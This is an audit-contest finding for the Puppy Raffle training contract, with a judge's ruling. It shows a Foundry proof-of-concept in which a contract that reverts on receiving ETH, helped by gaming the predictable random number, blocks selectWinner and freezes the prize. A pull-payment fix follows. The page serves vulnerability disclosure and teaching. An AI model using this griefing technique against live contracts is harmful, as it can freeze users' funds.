Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

# A winner that rejects ETH bricks `selectWinner`, freezing the prize and blocking settlement

drak3p14159

A winner that rejects ETH bricks selectWinner, freezing the prize and blocking settlement

Severity: Medium

Description

  • selectWinner pushes the prize to the winner with a low-level call and requires success, then mints the NFT with _safeMint.

  • When the selected winner is a contract that reverts on ETH receipt (or does not implement onERC721Received), the push fails and the entire selectWinner reverts. Since the winner index is deterministic for a given block state (see H-2), the draw is stuck for that state and a griefer can arrange to be the reverting winner.

delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
@> (bool success,) = winner.call{value: prizePool}("");
@> require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);

Risk

Likelihood:

  • Occurs whenever the selected winner is a contract whose receive/fallback reverts on value transfer; combined with the predictable RNG, a griefer can ensure that block resolves to their reverting contract.

  • Occurs equally through _safeMint when the winning contract does not implement onERC721Received.

Impact:

  • selectWinner reverts, so the raffle cannot be settled for that draw and the prize pool is frozen in the contract.

Proof of Concept

Save as test/NonReceivingWinnerPoC.t.sol and run forge test --mt testNonReceivingWinnerBricksDraw. A RevertOnReceive contract enters and, when selected as winner, selectWinner reverts.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract NonReceivingWinnerPoC is Test {
PuppyRaffle puppyRaffle;
uint256 entranceFee = 1e18;
uint256 duration = 1 days;
​
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, address(99), duration);
}
​
function testNonReceivingWinnerBricksDraw() public {
RevertOnReceive bad = new RevertOnReceive();
address[] memory players = new address[](4);
players[0] = address(101);
players[1] = address(102);
players[2] = address(103);
players[3] = address(bad);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1);
​
// find the block where `bad` (index 3) is the winner
uint256 ts;
for (uint256 t = block.timestamp; t < block.timestamp + 5000; t++) {
if (uint256(keccak256(abi.encodePacked(address(this), t, block.difficulty))) % 4 == 3) {
ts = t;
break;
}
}
vm.warp(ts);
​
vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
puppyRaffle.selectWinner();
}
}
​
contract RevertOnReceive {
receive() external payable {
revert("no ETH");
}
}

Recommended Mitigation

Use a pull-payment pattern: record the winner's prize and let them withdraw it in a separate call, so a single non-receiving winner cannot block the draw.

+ mapping(address => uint256) public pendingPrize;
...
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
+ pendingPrize[winner] += prizePool;
}
+
+ function claimPrize() external {
+ uint256 amount = pendingPrize[msg.sender];
+ require(amount > 0, "PuppyRaffle: no prize");
+ pendingPrize[msg.sender] = 0;
+ (bool success,) = payable(msg.sender).call{value: amount}("");
+ require(success, "PuppyRaffle: prize transfer failed");
+ }

Consider _mint semantics as well so NFT delivery cannot block settlement.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-03] Impossible to win raffle if the winner is a smart contract without a fallback function

## Description If a player submits a smart contract as a player, and if it doesn't implement the `receive()` or `fallback()` function, the call use to send the funds to the winner will fail to execute, compromising the functionality of the protocol. ## Vulnerability Details The vulnerability comes from the way that are programmed smart contracts, if the smart contract doesn't implement a `receive() payable` or `fallback() payable` functions, it is not possible to send ether to the program. ## Impact High - Medium: The protocol won't be able to select a winner but players will be able to withdraw funds with the `refund()` function ## Recommendations Restrict access to the raffle to only EOAs (Externally Owned Accounts), by checking if the passed address in enterRaffle is a smart contract, if it is we revert the transaction. We can easily implement this check into the function because of the Adress library from OppenZeppelin. I'll add this replace `enterRaffle()` with these lines of code: ```solidity function enterRaffle(address[] memory newPlayers) public payable { require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle"); for (uint256 i = 0; i < newPlayers.length; i++) { require(Address.isContract(newPlayers[i]) == false, "The players need to be EOAs"); players.push(newPlayers[i]); } // Check for duplicates for (uint256 i = 0; i < players.length - 1; i++) { for (uint256 j = i + 1; j < players.length; j++) { require(players[i] != players[j], "PuppyRaffle: Duplicate player"); } } emit RaffleEnter(newPlayers); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!